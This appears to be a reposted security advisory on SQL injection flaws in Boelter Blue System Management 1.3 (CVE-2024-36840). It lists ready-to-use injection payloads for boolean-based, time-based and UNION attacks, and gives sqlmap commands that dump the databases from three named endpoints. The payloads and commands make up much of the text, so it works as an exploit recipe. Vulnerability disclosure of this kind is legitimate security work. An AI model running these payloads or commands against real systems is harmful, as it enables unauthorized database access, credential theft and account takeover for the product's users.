Multiple SQL Injection vulnerabilities have been identified in Boelter Blue System Management (version 1.3). These vulnerabilities allow attackers to inject and execute arbitrary SQL commands through various parameters. Successful exploitation may result in unauthorized access, data exfiltration, and potential account takeovers.

Affected Parameters and Exploit Details:

1. Parameter: id (GET)

   • Type: Boolean-based blind
   • Payload: id=10071 AND 4036=4036

2. Type: Time-based blind

   • Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

3. Type: UNION query

   • Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,...

Vulnerable Endpoints

1. news_details.php?id

   • Example: https://www.example.com/news_details.php?id=10071
   • Exploitation:
     root@kitploit:~

     sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs
     

2. services.php?section

   • Example: https://www.example.com/services.php?section=5081
   • Exploitation:
     root@kitploit:~

     sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs
     

3. location_details.php?id

   • Example: https://www.example.com/location_details.php?id=836
   • Exploitation:
     root@kitploit:~

     sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs
     

Impact

• Unauthorized Database Access: Exploitation can lead to unauthorized access to the database, allowing attackers to extract sensitive information.
• Data Leakage: Sensitive data such as admin credentials, user PII, and purchase history can be compromised.
• Account Takeovers: Attackers can potentially take over user accounts.
• Full Control: Full control over the affected application can be achieved, leading to severe security implications.

Credits

• Discoverers: CBKB (DeadlyData, R4d1x)

References

• CyberDepot Vulnerability Report
• CVE-2024-36840